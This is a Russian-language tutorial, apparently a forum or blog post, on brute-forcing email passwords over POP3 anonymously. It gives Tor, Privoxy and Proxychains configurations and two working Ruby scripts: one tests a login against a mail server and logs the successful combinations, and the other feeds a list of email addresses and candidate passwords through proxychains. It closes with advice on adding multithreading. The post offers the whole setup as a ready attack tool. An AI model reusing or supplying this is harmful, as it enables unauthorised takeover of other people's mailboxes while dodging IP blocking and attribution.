Однако, для этого приходиться искать прокси или покупать их. Первое нам не подходит т.к. публичные прокси долгие и быстро умерают, а второй не каждый может себе позволить.
Наверное, для многих не секрет, что существует еще один способ - использование 'луковой маршрутизации'.
Для передачи пакета через 'луковый маршрут' используют программу Tor.
Это система, позволяющая устанавливать анонимное сетевое соединение, защищенное от прослушивания. Рассматривается как анонимная сеть, предоставляющая передачу данных в зашифрованном виде. Более подробно про Tor можно прочитать ]]>здесь]]>.
Далее я рассмотрю использование tor'а для брутфорса email'ов по протоколу POP3.
Итак, нам понадобиться:
-собственно сам ]]>Tor]]>;
-]]>Privoxy]]> это свободный веб-прокси с расширенными возможностями фильтрования интернет-контента для защиты конфиденциальности (приватности) пользователей сети Интернет, изменения содержания веб-страниц, управления cookies, ограничения доступа к некоторым сайтам и удаления рекламы, баннеров, всплывающих окон, а также любого другого нежелательного контента («интернет-мусора»);
-]]>Proxychains]]> - программа, направляющая пакет уровня выше протокола IP, через цепочки заданных proxy(http) или socks(https,smtp,pop3,imap,ftp и др. в стеке протоколов выше IP)
Подробнее о их настройке можете прочитать на их официальных сайтах, в качестве примера, привожу мои настройки:
Tor (/etc/tor/torrc):
DataDirectory /var/lib/tor/.tor NewCircuitPeriod 1 Group toranon User toranon
Privoxy (/etc/privoxy/config):
forward-socks4a / 127.0.0.1:9050 . confdir /etc/privoxy logdir /var/log/privoxy actionsfile standard # Internal purpose, recommended actionsfile default # Main actions file actionsfile user # User customizations filterfile default.filter debug 4096 # Startup banner and warnings debug 8192 # Errors - *we highly recommended enabling this* user-manual /usr/share/doc/privoxy/user-manual listen-address 127.0.0.1:8118 toggle 1 enable-remote-toggle 0 enable-edit-actions 0 enable-remote-http-toggle 0 buffer-limit 4096
Proxychains (/etc/proxychains.conf):
#dynamic_chain random_chain #случайный сервер chain_len = 1 #максимальная длина цепи tcp_read_time_out 20000 tcp_connect_time_out 20000 #список серверов socks4 127.0.0.1 9050 socks4 127.0.0.1 9050 socks4 127.0.0.1 9050 socks4 127.0.0.1 9050
Примечание: как бы я не пытался но у меня так и не получилось заставить proxychains выстроить цепь из одного сервера, минимум цепочка состояла из двух, для этого я здесь и указал локальный хост несколько раз. Возникает вопрос: а почему бы тогда не указать его 2 раза; отвечу: для того чтобы сделать брутфорс более стабильным т.к. при обнаружении мертвого сервера (такое возможно с локальным хостом если ОС не даст сокет) proxychains возьмет следующий, так вот чтобы он мог брать 4 раза следуюший а не 2, здесь и написано 4 раза.
Далее я приведу код примитивного брутфорса, который будет состоять из 2-х скриптов:
1)скрипт инициирующий соединение, будет запускаться под tor'ом
2)скрипт инициирующий запуск первого скрипта.
1)На входе просит email-адрес, пароль и файл для удачных комбинаций (try_connect.rb)
#!/usr/bin/ruby require 'net/pop' n=ARGV.size if n!=3 puts "Not enought arguments\n <email@addre.ss> <pass> <goodfile>" exit end login=ARGV[0].split('@')[0] pop_server='pop.'+ARGV[0].split('@')[1] paswd=ARGV[1] outfile=ARGV[2] puts "/#{pop_server}/#{login}/#{paswd}/" invalid=false begin begin Net::POP3.auth_only(pop_server, 110,login, paswd) rescue Net::POPAuthenticationerror invalid=true puts "FAIL /#{ARGV[0]}/#{ARGV[1]}/ #{Time.now}" end rescue => e invalid=true puts "#{Time.now} can't connect #{e}" #retry end if invalid==false puts "SUCCESS /#{ARGV[0]}/#{ARGV[1]}/ #{Time.now}" File.open(outfile,"a") do |sfile| sfile.puts "#{Time.now} #{ARGV[0]}:#{ARGV[1]}" end end
2)На входе просит фаил-список e-mail адресов и файл для удачных комбинаций (get_next.rb)
#!/usr/bin/ruby n=ARGV.size if n<1 or n>2 puts "Not enought arguments\n <inputfile> [<outputfile>]" exit end infile=ARGV[0] if n==1 then outfile=infile+'_out' else outfile=ARGV[1] end begin file=File.new(infile) rescue => e puts "Inputfile error:#{e}" end pass=['yourfirstpass','yoursecondpass','yourthirdpass','etc'] str='' no=0 while str!=nil puts "#{no})" str=file.gets if str!=nil mail=str.to_s.chop! pass.each do |paswd| puts "proxychains ./try_connect.rb #{mail} #{paswd} #{outfile}" system("proxychains ./try_connect.rb #{mail} #{paswd} #{outfile}") sleep(3) #интервал между запросами end end no+=1 end file.close
Теперь рассмотрим прицип работы:
-скрипт get_next.rb берет из списка email и дает команду интерпритатору bash: 'proxychains ./try_connect.rb #{mail} #{paswd} #{outfile}'
-bash запускает proxychains
-proxychains запускает try_connect.rb под своим прикрытием т.е. пакет идет на локальный прокси/сокс privoxy, который в свою очередь доверяет маршрутизацию пакета сети Tor, который предусмотрительно меняет свои сервера (в этом можно убедиться запустив браузер под tor'ом, где обновлять страницу скажем 2ip.ru)
-по выше приведенному пути try_connect.rb ведет диалог с pop3-сервером поповоду авторизации
Использовать связку tor-privoxy-proxychains можно для любого брутфорса, работающего на протоколах выше IP, по-мойму кроме ICMP, тем самым можно не писать нудные процедуры посылки пакета через прокси, а написав примитивный брутфорс запускать его под этой связкой.
Примечание: все выше указанное ПО, в том числе скрипты, тестировались только под ОС Linux, однако на офсайтах privoxy,tor и proxychains заявленно что существуют версии и для Windows и для Mac. Приведенные здесь скрипты написанны на Ruby, который в свою очередь тоже являеться кроссплатформенным.
Увеличить скорость работы приведенных скриптов можно добавив многопоточность.